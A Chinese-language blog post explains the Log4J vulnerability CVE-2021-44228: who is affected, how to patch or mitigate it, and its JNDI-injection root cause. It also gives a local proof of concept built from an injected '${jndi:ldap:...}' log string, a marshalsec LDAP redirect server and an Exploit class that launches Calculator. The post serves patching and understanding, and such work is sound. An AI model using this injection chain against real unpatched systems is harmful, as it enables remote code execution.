刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?

1,975 阅读4分钟

发生什么事了

Log4J 是一个应用非常广泛的Java库,就在前两天的2021年12月10日,Log4J的一个安全漏洞被公布了。那天正好是周五,很多程序员都在计划着怎么度过一个愉快的周末,不料这个安全漏洞的公开,使得全世界很多程序员不得不周末加班,有的甚至通宵达旦紧急应对。

漏洞编号为 CVE-2021-44228,攻击者利用这个新的零日漏洞,可以远程执行恶意代码。

零日漏洞( zero-day )通常是指还没有补丁的安全漏洞。零日漏洞利用(zero-day exploit)的程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水准的一个重要参数。

是否需要应对

首先看看NIST上的官方描述:

Log4j2 在配置、日志消息和参数中使用了 JNDI 功能。如果 Log4j2 的版本 <=2.14.1 ,JNDI 相关功能无法防御攻击者控制的 LDAP 和其他 JNDI 相关端点。控制了日志消息或日志消息参数的攻击者可以执行从 LDAP 服务器上的任意代码。

所以如果你使用了Log4J输出日志,而且版本 <=2.14.1,那么你很可能中招了。不过需要注意的是,Log4J相关的 jar 有好几个,只有使用了 log4j-core 包的程序才需要应对。很多使用了 Spring Boot 的同学,发现依赖库中存在 Log4J 的 jar 包就慌了,其实 spring-boot-starter-logging 依赖的是 log4j-to-slf4jlog4j-api,这两个包不会引入上述漏洞。使用 Spring Boot 小伙伴们可以放心了。

使用 Gradle 的同学可以使用如下命令,检查是否依赖了 log4j-core ,版本是否 <=2.14.1。

./gradlew dependencyInsight --dependency log4j-core

如何应对

一劳永逸的应对办法就是将 Log4J 的版本升级到 2.15.0 或者更高。如果暂时不升级的话,也可以在JVM 系统参数中将 log4j2.formatMsgNoLookups 设置为 true,也可以避免遭到利用该漏洞的攻击。

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

根本原因是什么

根本原因说白了就是 JNDI 注入,类似以往经常见到了 SQL 注入。阿里的 FastJson 库以前也出现过类似的漏洞。

image.png

  1. 攻击者在攻击者控制的Naming/Directory服务中绑定有效负载(Payload)。
  2. 攻击者向易受攻击的 JNDI 查找方法注入绝对 URL。
  3. 应用程序执行查找。
  4. 应用程序连接到攻击者返回的受控 N/D 服务的有效载荷。
  5. 应用程序对响应进行解码并触发有效载荷。

如何再现

首先准备任意一个类,模拟恶意代码。如下示例在构造方法中启动了Mac的计算器程序。

Exploit.java

java.lang.Runtime.getRuntime().exec(new String[] { "open", "-a", "Calculator" });

然后使用 Log4j 输出一段日志,利用这个漏洞的前提是日志信息是可以由攻击者控制的,比如在代码中打印了HTTP请求的参数或者Header等等,攻击者可以在请求参数或者Header中输入如下JNDI Url。这里为了方便,直接写在了代码中。

Log4j2Vul.java

logger.info("${jndi:ldap:127.0.0.1/anystring}");

然后我们利用 python 搭建一个简单的 HTTP 服务器,将恶意代码 Exploit.class 暴露出去。

./gradle build
cd build/classes/java/main
python3 -m http.server 7374

然后我们利用 marshalsec 搭建一个 LDAP 服务器。 启动 LDAP 服务器,并将请求重定向到 HTTP 服务器。这就是攻击者控制的 Naming/Directory 服务,这里绑定的有效负载(Payload)就是 Exploit.class

git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7374/#Exploit 384

现在我们就可以利用这个漏洞,执行恶意代码了。执行以下命令启动 Log4j2Vul 的 main 方法,输出日志。

./gradlew runLog4j2WithJavaExec

然后你就会看到 Mac 的计算器被启动了。

具体代码参考: Github log4j2-vulnerability-reproduce。代码中还包含了利用 FastJson 漏洞进行 JNDI 注入的示例。

总结

本文介绍了 Log4J 的安全漏洞 CVE-2021-44228,如何应对,安全漏洞的根本原因以及如何再现,并提供了再现代码。

码字不易,如果对你有帮助,请点赞关注加分享,感谢!

参考链接